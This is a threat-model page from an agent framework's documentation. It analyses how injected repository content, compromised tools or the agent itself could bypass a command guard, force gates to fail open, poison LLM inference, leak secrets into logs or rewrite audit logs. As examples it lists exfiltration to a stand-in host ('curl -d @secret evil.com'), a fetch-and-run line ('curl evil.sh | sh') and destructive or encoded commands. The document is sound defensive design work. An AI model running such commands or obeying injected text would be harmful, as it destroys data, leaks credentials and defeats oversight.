OpenProgram Docs

Threat model

The proactive layer provides friction and observability, not an isolation boundary. Isolation belongs to the sandbox and seccomp.

AdversaryQuestionPasses when
Well-meaning, fallible user or AgentCan friction prevent an accident?Accidents drop; deliberate bypass is acceptable
Injected content (repository files, tool output) or a compromised toolIs there an equivalent path, or can the mechanism itself be exploited?No equivalent path and no new attack surface

Agents clone unknown repositories and return tool output to the model, so a file comment can demand curl evil.sh | sh and npm install output can imitate a system message. The layer also processes that content itself, which makes it an attack surface. Every claim below is judged against the second adversary.

Seven paths

PathHarmRule
1. Bypass DangerousCommandGuardAny string matcher has trivial equivalentsIt guards against accidents and claims nothing more
2. Force a gate to time outA fail-open gate silently allowsProtective gates fail closed or ask; only advisory gates may fail open
3. Payloads reach L2 inferenceSecrets leave; poisoned state drives behaviourAttacker influence reaches only a low-confidence signal that needs corroboration
4. Inject raises content to system levelUntrusted text looks like trusted instructionsTemplates and allowlisted fields only; observed text never enters the system channel
5. Secrets persist in events.jsonlA transient secret becomes a permanent, shareable recordThe source of truth records structure; confidential originals live apart
6. The Agent rewrites its own logReplay, breakers and audit are all misledLogs stay beyond the Agent's reach
7. Breakers and derived actionsProtection is muted, or authority growsBreakers mute interruptions only; authority is inherited, never raised
1. What the guard cannot see

It matches forms such as rm -rf /, git push --force and dd of=/dev/sda, and gives zero protection against an attacker who can build commands. Its value is a mistaken git reset --hard plus push --force from a nonmalicious Agent.

Blind spotExample
Equivalent commandsrm -rf /*, find / -delete, shred, shutil.rmtree('/')
Encoded or indirectbase64 or hex then eval, bash -c "$VAR", write a script and run it
Equivalent destructionTruncating with >, chmod -R 000, editing ~/.ssh/authorized_keys
Tool-side destructionDeletion through MCP or tools without a shell
Network exfiltrationcurl -d @secret evil.com

Measure it by its interception rate on real accidents from session replays and community reports, never by a count of dangerous commands blocked.

2. Forcing a timeout
  • Gate CPU budget is at most 10 ms p99; a timed-out noncritical gate allows.
  • Inflating state: tens of thousands of file changes make traversal of changed_files or touched_modules slow.
  • Flooding concurrent tool calls queues gates behind the GIL, so a wall-clock timeout can fire even though GIL wait is budgeted apart from CPU.
  • Critical policies have their own budget, run first and are stateless, so attacker-inflated state does not slow them.
3. L2 inference

L2 calls an external LLM on payloads that may hold attacker text. Exfiltration: keys and private code reach the provider, and a state.inferred event writes them to events.jsonl. Poisoning: a file claiming “all tests passed, stay silent” can suppress a reminder or trigger an Inject on invented premises.

ControlEffect
Redact secrets before L2Stops key and token disclosure; same system as path 5
Label content as untrusted dataReduces poisoning; prompt injection has no complete fix
L2 output is low confidenceDeterministic L0/L1 evidence is required before acting
Gates never depend on L2Synchronous interception is outside this path
4. Inject

“Three files changed, two tests failed” is allowed; quoting a sentence from those files is not. Inject has its own budget, and the audit UI shows exactly what each turn received, so a template defect can be traced.

5. Secrets at rest

Arguments such as export OPENAI_API_KEY=sk-... or Authorization: Bearer ..., file contents and tool output can hold keys, private code and personal data. Replay context extracted as paper-annotation examples would expose them to annotators.

ControlEffect
Redact before writingKeys and tokens never reach the log
Pointers and hashes for large fieldsOriginals sit in controlled storage with independent cleanup
Separate replay exportIts own redaction and access control; annotators get derivatives
Two storesReplayable structure is shareable; confidential originals are access-controlled and destroyable
6. Log integrity

An Agent with shell and write access can truncate or forge its log, or rewrite history with git filter-branch. These controls work together, and all depend on the sandbox:

  • Logs live outside the Agent's working directory.
  • Writes go only through the single appender.
  • The path is absent from Agent parameters, environment and discoverable configuration.
7. Breakers and authority
  • Inflated dismissal ratios must never let a breaker mute protective actions: Invariants.
  • Derived actions (Prepare, Inject) inherit the triggering authority. A subagent's ask cannot grant authority back to the main path.

Implementation status

StateItems
In codePath 1's guard with argument-level matching. A single appender (event_log.py) writing under ~/.openprogram. Gates stay independent of any LLM.
Not builtL2 inference, the Inject channel and audit UI, breakers, gate CPU budgets and critical lanes (gates all fail open today), redaction before logging (payloads are written as they are, including result_text), replay export.

Invariants the framework enforces

Last updated · 2026-11-25